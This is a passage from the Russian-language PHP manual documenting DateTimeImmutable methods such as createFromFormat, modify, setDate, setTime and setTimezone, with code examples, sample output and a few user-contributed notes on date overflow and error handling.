public static DateTimeImmutable::createFromFormat(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTimeImmutable|false

Процедурный стиль

date_create_immutable_from_format(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTimeImmutable|false

Возвращает новый объект DateTimeImmutable, представляющий дату и время, указанные строкой в параметре datetime, которые были отформатированы в заданном формате format.

Список параметров

format

Формат даты и времени в виде строки (string), которому соответствует значение второго аргумента функции. Список вариантов форматирования представлен ниже. В большинстве случаев, при форматировании используются те же символы, что и в функции date().

Все поля инициализируются с текущей датой/временем. В большинстве случаев будет необходимо их "обнулить" (эпоха Unix, 1970-01-01 00:00:00 UTC). Для этого нужно добавить символ ! в качестве первого символа параметра format или | в качестве последнего. Для получения дополнительной информации смотрите документацию по каждому символу ниже.

Формат разбирается слева направо, это означает, что в некоторых ситуациях порядок присутствия символов формата влияет на результат. В случае z (день года) требуется, чтобы год уже был разобран, например, с помощью символов Y или y.

Символы для разбора чисел допускают широкий диапазон значений, выходящий за пределы логического диапазона. Например, d (день месяца) принимает значения в диапазоне от 00 до 99. Единственным ограничением является количество цифр. Когда задаются выходящие за пределы диапазона значения, срабатывает механизм переполнения анализатора даты/времени. Ниже показано несколько примеров такого поведения.

Это означает, что разобранные данные для буквы формата являются жадными и будут считываться до количества цифр, допускаемого форматом. Также это означает, что в строке datetime уже не хватает символов для следующих символов формата. Пример на этой странице также иллюстрирует эту проблему.

Список возможных символов для составления строки format
Символ в строке format | Описание | Возможные значения
День --- ---
d и j | День месяца, 2 цифры с нулём в начале или без него | От 01 до 31 либо от 1 до 31. (допускается использование двузначных чисел, превышающих количество дней в месяце, в этом случае разница переносится на следующий месяц. Например, использование числа 33 с январём означает 2 февраля)
D и l | Текстовое представление дня недели | От Mon до Sun либо от Sunday до Saturday. Если заданное имя дня отличается от имени дня, принадлежащего разобранной дате (или дате по умолчанию), то происходит переполнение до следующей даты с заданным именем дня. Смотрите примеры ниже для объяснения.
S | Суффикс для числа в английской нумерации, 2 буквы. Эти буквы будут пропущены при разборе строки. | st, nd, rd или th.
z | Номер дня с начала года (начиная с 0); должно предшествовать Y или y. | C 0 по 365. (Допускаются трёхзначные числа, превышающие числа в году, в этом случае разница переносится на следующий год. Например, использование числа 366 с 2022 годом означает 2 января 2023 года)
Месяц --- ---
F и M | Текстовое представление месяца, например January или Sept | С January по December либо с Jan по Dec
m и n | Числовое представление месяца с первым нулём или без него | С 01 по 12 либо с 1 по 12. (Допускаются двузначные числа больше 12, в этом случае разница переносится на следующий год. Например, использование числа 13 означает январь в следующем году)
Год --- ---
X и x | Полное числовое представление года, до 19 цифр, с префиксом + или -. | Примеры: 0055, 787, 1999, -2003, +10191
Y | Полное числовое представление года, до 4 цифр. | Примеры: 0055, 787, 1999, 2003.
y | 2 цифры в представлении года (в диапазоне 1970-2069 включительно) | Примеры: 99 или 03 (будет расшифровано как 1999 и 2003 соответственно)
Время --- ---
a и A | До полудня и После полудня | am или pm
g и h | 12-ти часовой формат времени с первым нулём или без него | С 1 по 12 либо с 01 по 12. (допускается использование двузначных чисел больше 12, в этом случае разница переносится на следующий день. Например, использование числа 14 означает 02 в следующем периоде AM/PM)
G и H | 24-х часовой формат времени с нулём в начале или без него | С 0 по 23 или с 00 по 23 (допускаются двузначные числа больше 24, в этом случае разница переносится на следующий день. Например, использование 26 означает 02:00 следующего дня)
i | Минуты с нулём в начале | С 00 по 59. (допускается использование двузначных чисел больше 59, в этом случае разница переносится на следующий час. Например, использование числа 66 означает :06 следующего часа)
s | Секунды с нулём в начале | От 00 до 59. (допускаются двузначные числа больше 59, в этом случае разница переносится на следующую минуту. Например, использование числа 90 означает :30 следующей минуты)
v | Дробь в миллисекундах (до 3 цифр) | Примеры: 12 (0.12 секунд), 345 (0.345 секунд)
u | Дробь в микросекундах (до 6 цифр) | Примеры: 45 (0.45 секунд), 654321 (0.654321 секунд)
Часовой пояс --- ---
e, O, P и T | Идентификатор часового пояса, либо разница в часах относительно UTC, либо разница относительно UTC с двоеточием между часами и минутами, либо аббревиатура часового пояса | Примеры: UTC, GMT, Atlantic/Azores или +0200 или +02:00 или EST, MDT
Дата/Время полностью --- ---
U | Количество секунд с начала Эпохи Unix (January 1 1970 00:00:00 GMT) | Пример: 1292177455
Пробел и Разделители --- ---
(пробел) | Ноль или несколько символов пробела, табуляции, неразрывного пробела NBSP (U+A0) или узкого неразрывного пробела NNBSP (U+202F) | Пример: "\t", " "
# Один из следующих символов: ;, :, /, ., ,, -, ( или ) Пример: /
;, :, /, ., ,, -, ( или ) | Символ разделитель. | Пример: -
? Один случайный (любой) символ Пример: ^ (Будьте внимательны: в UTF-8 кодировке вам может потребоваться более одного ?, так как там один символ может занимать более одного байта. В таких случаях может помочь использование *.
* Любое количество любых символов до следующего разделителя Пример: * в Y-*-d для строки 2009-aWord-08 будет соответствовать aWord
! Сбрасывает все поля (год, месяц, день, час, минута, секунда и часовой пояс) до нулевых значений (0 для часа, минуты, секунды, 1 для месяца и дня, 1970 для года и UTC для информации о часовом поясе). Без ! все поля будут соответствовать текущему времени.
| Сбрасывает значения незаданных полей (год, месяц, день, час, минута, секунда, часовой пояс) до нулевых значений. Y-m-d| установит год, месяц и день в соответствии с данными в строке, а часы, минуты и секунды установит в 0.
+ Если задан этот спецификатор, данные, завершающие строку (нуль байт например) не будут вызывать ошибку, только предупреждение Используйте DateTime::getLastErrors() для определения, были ли в строке завершающие символы.

Наличие в строке формата нераспознаваемых символов, отсутствующих в списке выше, приведёт к ошибке разбора строки. В этом случае сообщение об ошибке будет добавлено в возвращаемую структуру. Получить это сообщение можно с помощью функции DateTime::getLastErrors().

Для вставки в format буквенного символа, вы должны экранировать его с помощью обратного слеша(\).

Если format не содержит символ !, то значения полей, не заданных в строке формата, будут установлены в соответствии с текущим временем.

Если format содержит символ !, то значения полей, не заданных в строке формата (равно как и значения полей слева от !) будут установлены в соответствии со значениями полей начала Эпохи Unix.

Если любой символ времени разобран, то все остальные поля, связанные с временем, устанавливаются в "0", если они также не разобраны.

Начало эпохи Unix 1970-01-01 00:00:00 UTC.

datetime

Строка, представляющая время.

timezone

Объект класса DateTimeZone, представляющий ожидаемый часовой пояс.

Если timezone не указан или null и datetime не содержит часовой пояс, то будет использован текущий часовой пояс.

Замечание:

Параметр timezone и текущий часовой пояс будут проигнорированы, если параметр datetime также содержит метку времени UNIX (то есть timestamp вида 946684800) или же указанный часовой пояс (то есть 2010-01-28T15:00:00+02:00).

Возвращаемые значения

Возвращает новый экземпляр DateTimeImmutable или false в случае возникновения ошибки.

Ошибки

Функция выбрасывает ValueError, если параметр datetime содержит нулевые байты.

Список изменений

Версия | Описание
8.2.9 | Спецификатор (пробел) теперь также поддерживает символы неразрывного пробела NBSP (U+A0) и узкого неразрывного пробела NNBSP (U+202F).
8.2.0 | Добавлены спецификаторы X и x параметру format.
8.0.21, 8.1.8, 8.2.0 | Теперь, когда в параметр datetime передаются нулевые байты, выбрасывается исключение ValueError, ранее такая ситуация игнорировалась.
7.3.0 | Добавлен спецификатор v параметру format.

Примеры

Пример #1 Пример использования DateTimeImmutable::createFromFormat()

Объектно-ориентированный стиль

<?php
$date = DateTimeImmutable::createFromFormat('j-M-Y', '15-Feb-2009');
echo $date->format('Y-m-d');
?>

Пример #2 Использование предопределённых констант формата с помощью DateTimeImmutable::createFromFormat()

Объектно-ориентированный стиль

<?php
$date = DateTimeImmutable::createFromFormat(DateTimeInterface::ISO8601, '2004-02-12T15:19:21+00:00');
$date = DateTimeImmutable::createFromFormat(DateTimeInterface::RFC3339_EXTENDED, '2013-10-14T09:00:00.000+02:00');
?>

Константы форматирования, используемые в данном примере, состоят из строки символов для форматирования объекта DateTimeImmutable. В большинстве случаев эти буквы совпадают с теми же элементами информации о дате/времени, которые определены в параметрах выше, но они, как правило, более мягкие.

Пример #3 Тонкости DateTimeImmutable::createFromFormat()

<?php
echo 'Текущее время: ' . date('Y-m-d H:i:s') . "\n";

$format = 'Y-m-d';
$date = DateTimeImmutable::createFromFormat($format, '2009-02-15');
echo "Формат: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'Y-m-d H:i:s';
$date = DateTimeImmutable::createFromFormat($format, '2009-02-15 15:16:17');
echo "Формат: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'Y-m-!d H:i:s';
$date = DateTimeImmutable::createFromFormat($format, '2009-02-15 15:16:17');
echo "Формат: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = '!d';
$date = DateTimeImmutable::createFromFormat($format, '15');
echo "Формат: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'i';
$date = DateTimeImmutable::createFromFormat($format, '15');
echo "Формат: $format; " . $date->format('Y-m-d H:i:s') . "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

Текущее время: 2022-06-02 15:50:46
Формат: Y-m-d; 2009-02-15 15:50:46
Формат: Y-m-d H:i:s; 2009-02-15 15:16:17
Формат: Y-m-!d H:i:s; 1970-01-15 15:16:17
Формат: !d; 1970-01-15 00:00:00
Формат: i; 2022-06-02 00:15:00

Пример #4 Форматирование строки с помощью литеральных символов

<?php
echo DateTimeImmutable::createFromFormat('H\h i\m s\s','23h 15m 03s')->format('H:i:s');
?>

Результатом выполнения данного примера будет что-то подобное:

23:15:03

Пример #5 Поведение при переполнении

<?php
echo DateTimeImmutable::createFromFormat('Y-m-d H:i:s', '2021-17-35 16:60:97')->format(DateTimeImmutable::RFC2822);
?>

Результатом выполнения данного примера будет что-то подобное:

Sat, 04 Jun 2022 17:01:37 +0000

Хотя результат выглядит странно, он правильный, так как случаются следующие переполнения:

  1. 97 секунд переваливают за 1 минуту, оставляя 37 секунд.
  2. 61 минут переваливает за 1 час, оставляя 1 минуту.
  3. 35 дней переваливают за 1 месяц, оставляя 4 дня. Количество оставшихся дней зависит от месяца, так как не в каждом месяце одинаковое количество дней.
  4. 18 месяцев переваливают за 1 год, оставляя 6 месяцев.

Пример #6 Поведение имени переполненного дня

<?php
$d = DateTime::createFromFormat(DateTimeInterface::RFC1123, 'Mon, 3 Aug 2020 25:00:00 +0000');
echo $d->format(DateTime::RFC1123), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

Mon, 10 Aug 2020 01:00:00 +0000

Хотя результат выглядит странно, он правильный, так как случаются следующие переполнения:

  1. 3 Aug 2020 25:00:00 переваливает за (Tue) 4 Aug 2020 01:00.
  2. Применяется Mon, что переводит дату на Mon, 10 Aug 2020 01:00:00. Объяснение относительных ключевых слов, таких как Mon, описано в разделе относительные форматы.

Для обнаружения переполнений в датах можно использовать метод DateTimeImmutable::getLastErrors(), который будет включать предупреждение, если произошло переполнение.

Пример #7 Обнаружение переполнения дат

<?php
$d = DateTimeImmutable::createFromFormat('Y-m-d H:i:s', '2021-17-35 16:60:97');
echo $d->format(DateTimeImmutable::RFC2822), "\n\n";

var_dump(DateTimeImmutable::GetLastErrors());
?>

Результатом выполнения данного примера будет что-то подобное:

Sat, 04 Jun 2022 17:01:37 +0000

array(4) {
  'warning_count' =>
  int(2)
  'warnings' =>
  array(1) {
    [19] =>
    string(27) "The parsed date was invalid"
  }
  'error_count' =>
  int(0)
  'errors' =>
  array(0) {
  }
}

Пример #8 Жадное поведение при разборе

<?php
print_r(date_parse_from_format('Gis', '60101'));
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [year] =>
    [month] =>
    [day] =>
    [hour] => 60
    [minute] => 10
    [second] => 0
    [fraction] => 0
    [warning_count] => 1
    [warnings] => Array
        (
            [5] => The parsed time was invalid
        )

    [error_count] => 1
    [errors] => Array
        (
            [4] => A two digit second could not be found
        )

    [is_localtime] =>
)

Формат G предназначен для разбора 24-часовых часов с ведущим нулём или без него. Для этого необходимо разобрать 1 или 2 цифры. Так как есть две следующие цифры, он жадно считывает это как 60.

Следующие символы формата i и s требуют двух цифр. Это означает, что 10 передаётся как минута (i) и что затем остаётся недостаточно цифр для разбора секунд (s).

На эту проблему указывает массив errors.

Кроме того, час 60 находится вне диапазона 0-24, что добавляет предупреждение в массив warnings о том, что время является недействительным.

Смотрите также

  • DateTimeImmutable::__construct() - Возвращает новый объект DateTimeImmutable
  • DateTimeImmutable::getLastErrors() - Возвращает предупреждения и ошибки
  • checkdate() - Проверяет корректность даты по григорианскому календарю
  • strptime() - Разбирает строку даты/времени, сгенерированную функцией strftime

User Contributed Notes

Andy Walker 15-Nov-2022 03:24
To clarify, g/G are 12/24 hour time without a leading 0, and h/H are 12/24 hour time with a leading zero, as described here:

https://www.php.net/manual/en/datetime.format.php


Возвращает новый объект DateTimeImmutable, созданный из переданного объекта, реализующего интерфейс DateTimeInterface

  • « DateTimeImmutable::createFromFormat
  • DateTimeImmutable::createFromMutable »
  • PHP Manual
  • DateTimeImmutable
  • Возвращает новый объект DateTimeImmutable, созданный из переданного объекта, реализующего интерфейс DateTimeInterface

DateTimeImmutable::createFromInterface

(PHP 8)

DateTimeImmutable::createFromInterface — Возвращает новый объект DateTimeImmutable, созданный из переданного объекта, реализующего интерфейс DateTimeInterface

Описание

public static DateTimeImmutable::createFromInterface(DateTimeInterface $object): DateTimeImmutable

Список параметров

object

Объект, реализующий интерфейс DateTimeInterface, который необходимо сконвертировать в иммутабельную версию. Сам объект не изменяется. Вместо этого возвращается новый объект DateTimeImmutable с теми же значениями даты, времени и часового пояса.

Возвращаемые значения

Возвращает новый объект DateTimeImmutable.

Примеры

Пример #1 Создание иммутабельного объекта даты и времени

<?php
$date = new DateTime("2014-06-20 11:45 Europe/London");

$immutable = DateTimeImmutable::createFromInterface($date);

$date = new DateTimeImmutable("2014-06-20 11:45 Europe/London");
$also_immutable = DateTimeImmutable::createFromInterface($date);
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает новый экземпляр DateTimeImmutable, содержащий заданный объект DateTime

  • « DateTimeImmutable::createFromInterface
  • DateTimeImmutable::getLastErrors »
  • PHP Manual
  • DateTimeImmutable
  • Возвращает новый экземпляр DateTimeImmutable, содержащий заданный объект DateTime

DateTimeImmutable::createFromMutable

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

DateTimeImmutable::createFromMutable — Возвращает новый экземпляр DateTimeImmutable, содержащий заданный объект DateTime

Описание

public static DateTimeImmutable::createFromMutable(DateTime $object): static

Список параметров

object

Изменяемый объект DateTime, который вы хотите преобразовать в неизменяемую версию. Этот объект не изменяется, но вместо этого создаётся новый экземпляр DateTimeImmutable, содержащий ту же самую информацию.

Возвращаемые значения

Возвращает новый экземпляр DateTimeImmutable.

Список изменений

Версия | Описание
8.0.0 | Метод теперь возвращает экземпляр текущего вызываемого класса; ранее он создавал новый экземпляр класса DateTimeImmutable.

Примеры

Пример #1 Создание неизменяемого объекта даты/времени

<?php
$date = new DateTime("2014-06-20 11:45 Europe/London");

$immutable = DateTimeImmutable::createFromMutable( $date );
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предупреждения и ошибки

  • « DateTimeImmutable::createFromMutable
  • DateTimeImmutable::modify »
  • PHP Manual
  • DateTimeImmutable
  • Возвращает предупреждения и ошибки

DateTimeImmutable::getLastErrors

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::getLastErrors — Возвращает предупреждения и ошибки

Описание

public static DateTimeImmutable::getLastErrors(): array|false

Возвращает массив содержащий сообщения об ошибках и предупреждения, обнаруженные при разборе строки даты/времени.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий информацию о предупреждениях и ошибках или false, если нет ни предупреждений, ни ошибок.

Список изменений

Версия | Описание
8.2.0 | До версии PHP 8.2.0 функция не возвращала false, если не было предупреждений или ошибок. Вместо этого она всегда возвращала задокументированную структуру массива.

Примеры

Пример #1 Пример использования DateTimeImmutable::getLastErrors()

<?php
try {
$date = new DateTimeImmutable('asdfasdf');
} catch (Exception $e) {
// Только в целях демонстрации...
print_r(DateTimeImmutable::getLastErrors());

// в объектно-ориентированном стиле лучше делать так:
// echo $e->getMessage();
}
?>

Результат выполнения данных примеров:

Array
(
   [warning_count] => 1
   [warnings] => Array
       (
           [6] => Double timezone specification
       )

   [error_count] => 1
   [errors] => Array
       (
           [0] => The timezone could not be found in the database
       )

)

Индексы 6 и 0 указывают на символьные позиции в строке, где произошла ошибка.

User Contributed Notes

_mittens 01-Nov-2023 02:28
If you are curious as to when the internal array gets resetted (from https://onlinephp.io/c/3ee35):

<?php

$date0 = DateTimeImmutable::createFromFormat('!Y-m-d', '2020-31-31');
var_dump($date0->format('c')); // 2022-07-31T00:00:00+00:00

foreach(range(0,2) as $_)
    // The internal error won't reset
    var_dump( join(DateTimeImmutable::getLastErrors()['warnings']) ); // The parsed date was invalid

$date1 = DateTimeImmutable::createFromFormat('!Y-m-d', '2020-12-31');
var_dump($date1->format('c')); // 2020-12-31T00:00:00+00:00

// The internal error did reset
var_dump( empty(DateTimeImmutable::getLastErrors()['warnings']) ); // true

$date2 = DateTimeImmutable::createFromFormat('!Y-m-d', '2020-31-31');
var_dump( join(DateTimeImmutable::getLastErrors()['warnings']) ); // The parsed date was invalid
$date3 = new DateTimeImmutable('2023-12-31T00:00:00.000000Z');

// The internal error did reset
var_dump( empty(DateTimeImmutable::getLastErrors()['warnings']) ); // true
?>

Output:
string(25) "2022-07-31T00:00:00+00:00"
string(27) "The parsed date was invalid"
string(27) "The parsed date was invalid"
string(27) "The parsed date was invalid"
string(25) "2020-12-31T00:00:00+00:00"
bool(true)
string(27) "The parsed date was invalid"
bool(true)


Создаёт новый объект с изменённой временной меткой

  • « DateTimeImmutable::getLastErrors
  • DateTimeImmutable::__set_state »
  • PHP Manual
  • DateTimeImmutable
  • Создаёт новый объект с изменённой временной меткой

DateTimeImmutable::modify

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::modify — Создаёт новый объект с изменённой временной меткой

Описание

public DateTimeImmutable::modify(string $modifier): DateTimeImmutable|false

Создаёт новый объект DateTimeImmutable с изменённой временной меткой. Первоначальный объект не изменяется.

Список параметров

modifier

Строка даты/времени. Объяснение корректных форматов дано в разделе Форматы даты и времени.

Возвращаемые значения

Возвращает новый модифицированный объект DateTimeImmutable или false в случае возникновения ошибки.

Ошибки

Если передана строка с недопустимой датой/временем, выбрасывается исключение DateMalformedStringException. До PHP 8.3 появлялось предупреждение.

Список изменений

Версия | Описание
8.3.0 | Теперь вместо предупреждения выбрасывается исключение DateMalformedStringException, если передана недопустимая строка.

Примеры

Пример #1 Пример использования DateTimeImmutable::modify()

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable('2006-12-12');
$newDate = $date->modify('+1 day');
echo $newDate->format('Y-m-d');
?>

Результат выполнения данных примеров:

2006-12-13

Пример #2 Будьте осторожны при сложении или вычитании месяцев

<?php
$date = new DateTimeImmutable('2000-12-31');

$newDate1 = $date->modify('+1 month');
echo $newDate1->format('Y-m-d') . "\n";

$newDate2 = $newDate1->modify('+1 month');
echo $newDate2->format('Y-m-d') . "\n";
?>

Результат выполнения данного примера:

2001-01-31
2001-03-03

Смотрите также

  • DateTimeImmutable::add() - Возвращает новый объект с добавленным количеством дней, месяцев, лет, часов, минут и секунд
  • DateTimeImmutable::sub() - Вычитает переданное количество дней, месяцев, лет, часов, минут и секунд
  • DateTimeImmutable::setDate() - Устанавливает дату
  • DateTimeImmutable::setISODate() - Устанавливает дату в формате ISO
  • DateTimeImmutable::setTime() - Устанавливает время
  • DateTimeImmutable::setTimestamp() - Устанавливает дату и время на основе метки времени Unix

User Contributed Notes

There are no user contributed notes for this page.


Обработчик __set_state

  • « DateTimeImmutable::modify
  • DateTimeImmutable::setDate »
  • PHP Manual
  • DateTimeImmutable
  • Обработчик __set_state

DateTimeImmutable::__set_state

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::__set_state — Обработчик __set_state

Описание

public static DateTimeImmutable::__set_state(array $array): DateTimeImmutable

Обработчик __set_state().

Список параметров

array

Инициализирующий массив.

Возвращаемые значения

Возвращает новый экземпляр объекта DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает дату

  • « DateTimeImmutable::__set_state
  • DateTimeImmutable::setISODate »
  • PHP Manual
  • DateTimeImmutable
  • Устанавливает дату

DateTimeImmutable::setDate

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setDate — Устанавливает дату

Описание

public DateTimeImmutable::setDate(int $year, int $month, int $day): DateTimeImmutable

Возвращает новый объект DateTimeImmutable с текущей датой объекта DateTimeImmutable, установленной на заданную дату.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create(). Функция изменяет этот объект.

year

Год даты.

month

Месяц даты.

day

День даты.

Возвращаемые значения

Возвращает новый объект DateTimeImmutable с модифицированными данными.

Примеры

Пример #1 Пример использования DateTimeImmutable::setDate()

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable();
$newDate = $date->setDate(2001, 2, 3);
echo $newDate->format('Y-m-d');
?>

Результат выполнения данных примеров:

2001-02-03

Пример #2 Значения, выходящие за пределы диапазона, добавляются к своим родительским значениям

<?php
$date = new DateTimeImmutable();

$newDate = $date->setDate(2001, 2, 28);
echo $newDate->format('Y-m-d') . "\n";

$newDate = $date->setDate(2001, 2, 29);
echo $newDate->format('Y-m-d') . "\n";

$newDate = $date->setDate(2001, 14, 3);
echo $newDate->format('Y-m-d') . "\n";
?>

Результат выполнения данного примера:

2001-02-28
2001-03-01
2002-02-03

Смотрите также

  • DateTimeImmutable::setISODate() - Устанавливает дату в формате ISO
  • DateTimeImmutable::setTime() - Устанавливает время

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает дату в формате ISO

  • « DateTimeImmutable::setDate
  • DateTimeImmutable::setTime »
  • PHP Manual
  • DateTimeImmutable
  • Устанавливает дату в формате ISO

DateTimeImmutable::setISODate

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setISODate — Устанавливает дату в формате ISO

Описание

public DateTimeImmutable::setISODate(int $year, int $week, int $dayOfWeek = 1): DateTimeImmutable

Возвращает новый объект DateTimeImmutable с датой, установленной в соответствии со стандартом ISO 8601 - с использованием смещения недель и дней, а не конкретных дат.

Список параметров

year

Год даты.

week

Неделя даты.

dayOfWeek

Смещение от первого дня недели.

Возвращаемые значения

Возвращает новый объект DateTimeImmutable с модифицированными данными.

Примеры

Пример #1 Пример использования DateTimeImmutable::setISODate()

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable();

$date->setISODate(2008, 2);
echo $date->format('Y-m-d') . "\n";

$date->setISODate(2008, 2, 7);
echo $date->format('Y-m-d') . "\n";
?>

Процедурный стиль

<?php
$date = date_create();

date_isodate_set($date, 2008, 2);
echo date_format($date, 'Y-m-d') . "\n";

date_isodate_set($date, 2008, 2, 7);
echo date_format($date, 'Y-m-d') . "\n";
?>

Результат выполнения данных примеров:

2008-01-07
2008-01-13

Пример #2 Значения, выходящие за пределы диапазона, добавляются к своим родительским значениям

<?php
$date = new DateTimeImmutable();

$newDate = $date->setISODate(2008, 2, 7);
echo $newDate->format('Y-m-d') . "\n";

$newDate = $date->setISODate(2008, 2, 8);
echo $newDate->format('Y-m-d') . "\n";

$newDate = $date->setISODate(2008, 53, 7);
echo $newDate->format('Y-m-d') . "\n";
?>

Результат выполнения данного примера:

2008-01-13
2008-01-14
2009-01-04

Пример #3 Поиск месяца, в котором находится неделя

<?php
$date = new DateTimeImmutable();
$newDate = $date->setISODate(2008, 14);
echo $newDate->format('n');
?>

Результат выполнения данных примеров:

3

Смотрите также

  • DateTimeImmutable::setDate() - Устанавливает дату
  • DateTimeImmutable::setTime() - Устанавливает время

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает время

  • « DateTimeImmutable::setISODate
  • DateTimeImmutable::setTimestamp »
  • PHP Manual
  • DateTimeImmutable
  • Устанавливает время

DateTimeImmutable::setTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setTime — Устанавливает время

Описание

public DateTimeImmutable::setTime(
int $hour,
int $minute,
int $second = 0,
int $microsecond = 0
): DateTimeImmutable

Возвращает новый объект DateTimeImmutable со временем, установленным на заданное время.

Список параметров

hour

Час времени.

minute

Минута времени.

second

Секунда времени.

microsecond

Микросекунда времени.

Возвращаемые значения

Возвращает новый объект DateTimeImmutable с модифицированными данными.

Список изменений

Версия | Описание
8.1.0 | Поведение с удвоением существующих часов (во время резервного перехода на летнее время) изменилось. Раньше PHP выбирал второе вхождение (после перехода на летнее время) вместо первого вхождения (до перехода на летнее время).
7.1.0 | Добавлен параметр microsecond.

Примеры

Пример #1 Пример использования DateTimeImmutable::setTime()

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable('2001-01-01');

$newDate = $date->setTime(14, 55);
echo $newDate->format('Y-m-d H:i:s') . "\n";

$newDate = $date->setTime(14, 55, 24);
echo $newDate->format('Y-m-d H:i:s') . "\n";
?>

Результатом выполнения данных примеров будет что-то подобное:

2001-01-01 14:55:00
2001-01-01 14:55:24

Пример #2 Значения, выходящие за пределы диапазона, добавляются к своим родительским значениям

<?php
$date = new DateTimeImmutable('2001-01-01');

$newDate = $date->setTime(14, 55, 24);
echo $newDate->format('Y-m-d H:i:s') . "\n";

$newDate = $date->setTime(14, 55, 65);
echo $newDate->format('Y-m-d H:i:s') . "\n";

$newDate = $date->setTime(14, 65, 24);
echo $newDate->format('Y-m-d H:i:s') . "\n";

$newDate = $date->setTime(25, 55, 24);
echo $newDate->format('Y-m-d H:i:s') . "\n";
?>

Результат выполнения данного примера:

2001-01-01 14:55:24
2001-01-01 14:56:05
2001-01-01 15:05:24
2001-01-02 01:55:24

Смотрите также

  • DateTimeImmutable::setDate() - Устанавливает дату
  • DateTimeImmutable::setISODate() - Устанавливает дату в формате ISO

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает дату и время на основе метки времени Unix

  • « DateTimeImmutable::setTime
  • DateTimeImmutable::setTimezone »
  • PHP Manual
  • DateTimeImmutable
  • Устанавливает дату и время на основе метки времени Unix

DateTimeImmutable::setTimestamp

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setTimestamp — Устанавливает дату и время на основе метки времени Unix

Описание

public DateTimeImmutable::setTimestamp(int $timestamp): DateTimeImmutable

Возвращает новый объект DateTimeImmutable, построенный из старого, с датой и временем, установленными на основе метки времени Unix.

Список параметров

timestamp

Метка времени Unix, представляющая дату. Установка меток времени вне диапазона целого числа (int) возможна при использовании метода DateTimeImmutable::modify() с форматом @.

Возвращаемые значения

Возвращает новый объект DateTimeImmutable с модифицированными данными.

Примеры

Пример #1 Пример использования DateTimeImmutable::setTimestamp()

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable();
echo $date->format('U = Y-m-d H:i:s') . "\n";

$newDate = $date->setTimestamp(1171502725);
echo $newDate->format('U = Y-m-d H:i:s') . "\n";
?>

Результатом выполнения данных примеров будет что-то подобное:

1272508903 = 2010-04-28 22:41:43
1171502725 = 2007-02-14 20:25:25

Смотрите также

  • DateTimeImmutable::getTimestamp() - Возвращает временную метку Unix

User Contributed Notes

lukin dot andrej at gmail dot com 01-Mar-2023 08:51
While modifying Datetime with the timezone, the user should be aware that changing the timestamp using "@".\time() is not the same as changing the timestamp using setTimestamp().

$now = new \DateTimeImmutable('August 30, 2023 09:00:00 GMT+01');
$origin = $now->getTimestamp(); // 1693382400
$usingAt = $now->modify('@'.$now->getTimestamp())->getTimestamp(); // 1693378800
$usingSetTimestamp = $now->setTimestamp($now->getTimestamp())->getTimestamp(); // 1693382400

var_dump($usingAt === $origin); // false
var_dump($usingSetTimestamp === $origin); // true
Philip 15-Jul-2021 11:03
This function will not change the value of the DateTimeImmutable object as the method name might suggest. The object, after all, immutable.

<?php
   $dti = new DateTimeImmutable();
   echo $dti->getTimestamp(); // e.g. 123456789
   $dti->setTimestamp(987654321);
   echo $dti->getTimestamp(); // 123456789

   $x = $dti->setTimestamp (987654321);
   echo $x->getTimestamp(); // 987654321
?>


Устанавливает часовой пояс

  • « DateTimeImmutable::setTimestamp
  • DateTimeImmutable::sub »
  • PHP Manual
  • DateTimeImmutable
  • Устанавливает часовой пояс

DateTimeImmutable::setTimezone

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setTimezone — Устанавливает часовой пояс

Описание

public DateTimeImmutable::setTimezone(DateTimeZone $timezone): DateTimeImmutable

Возвращает новый объект DateTimeImmutable с установленным новым часовым поясом.

Список параметров

timezone

Объект DateTimeZone, представляющий желаемый часовой пояс.

Возвращаемые значения

Возвращает новый модифицированный объект DateTimeImmutable для цепочки методов. Лежащий в основе момент времени не изменяется при вызове метода.

Примеры

Пример #1 Пример использования DateTimeImmutable::setTimeZone()

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

$newDate = $date->setTimezone(new DateTimeZone('Pacific/Chatham'));
echo $newDate->format('Y-m-d H:i:sP') . "\n";
?>

Результат выполнения данных примеров:

2000-01-01 00:00:00+12:00
2000-01-01 01:45:00+13:45

Смотрите также

  • DateTimeImmutable::getTimezone() - Возвращает часовой пояс относительно текущего значения DateTime
  • DateTimeZone::__construct() - Создаёт новый объект DateTimeZone

User Contributed Notes

There are no user contributed notes for this page.


Вычитает переданное количество дней, месяцев, лет, часов, минут и секунд

  • « DateTimeImmutable::setTimezone
  • DateTimeInterface »
  • PHP Manual
  • DateTimeImmutable
  • Вычитает переданное количество дней, месяцев, лет, часов, минут и секунд

DateTimeImmutable::sub

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::sub — Вычитает переданное количество дней, месяцев, лет, часов, минут и секунд

